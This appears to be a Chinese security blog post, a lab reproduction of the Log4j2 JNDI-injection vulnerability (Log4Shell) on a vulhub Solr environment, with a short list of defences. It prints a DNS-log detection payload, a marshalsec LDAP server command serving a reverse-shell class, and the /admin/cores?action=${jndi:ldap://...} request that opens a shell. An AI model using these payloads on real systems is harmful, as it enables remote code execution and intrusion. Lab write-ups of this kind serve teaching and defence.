freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Log4J2漏洞原理详解及复现
s0l4r 2023-05-06 00:23:11 197805
所属地 北京

1 环境搭建

基于vulhub环境搭建

# docker-compose up -d

访问8983端口判断是否成功
image.png

2 漏洞原理

log4j2:apache log4j2为开源日志库,用于记录java日志

log4j2提供函数logger.info、logger.error等函数支持{}传参,如logger.info("{}", input),会将input的内容解析并显示(类似SSTI),当传入input为${java:version}时,返回的并不是字符串本身,而是java版本

基于上述机制,当input为用户可控,且未进行任何无害化处理时,可能造成jndi注入漏洞,具体而言,当传入${jndi:rmi://}或${jndi:ldap://}时,可能会远程加载恶意类,调用其中代码并执行

jndi注入讲解可见fastjson复现篇

由于fastjson篇使用了rmi,本篇使用ldap

3 漏洞复现

0x01 漏洞探测

漏洞点在/admin/cores下,可以传递参数action

首先进行漏洞探测,payload为${jndi:ldap://${java:version}.xxx.dnslog.cn},可以看到,正确回显java版本,证明漏洞存在,且可利用
image.png

0x02 jndi远程加载部署

反弹shell代码见fastjson篇

使用marshalsec开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://ip/#ReverseShell' 9999

kali侦听反弹shell端口

发送payload为/admin/cores?action=${jndi:ldap://ip:9999/ReverseShell},LDAP和http请求分别如下,成功反弹shell
image.png
image.png
image.png

4 防御

  1. 升级log4j2版本(2.15.0-rc1以上)

  2. 过滤jndi、rmi、ldap等敏感字符串

# Jndi注入 # JNDI # log4j2 # Log4j2的JNDI注入漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 s0l4r 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee2022)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
s0l4r LV.4
这家伙太懒了,还未填写个人描述!
  • 9 文章数
  • 6 关注者
Nimbo-C2分析1-源码分析
2023-06-24
Pikachu靶场通关记录
2023-05-18
Fastjson反序列化原理详解及复现
2023-05-05
文章目录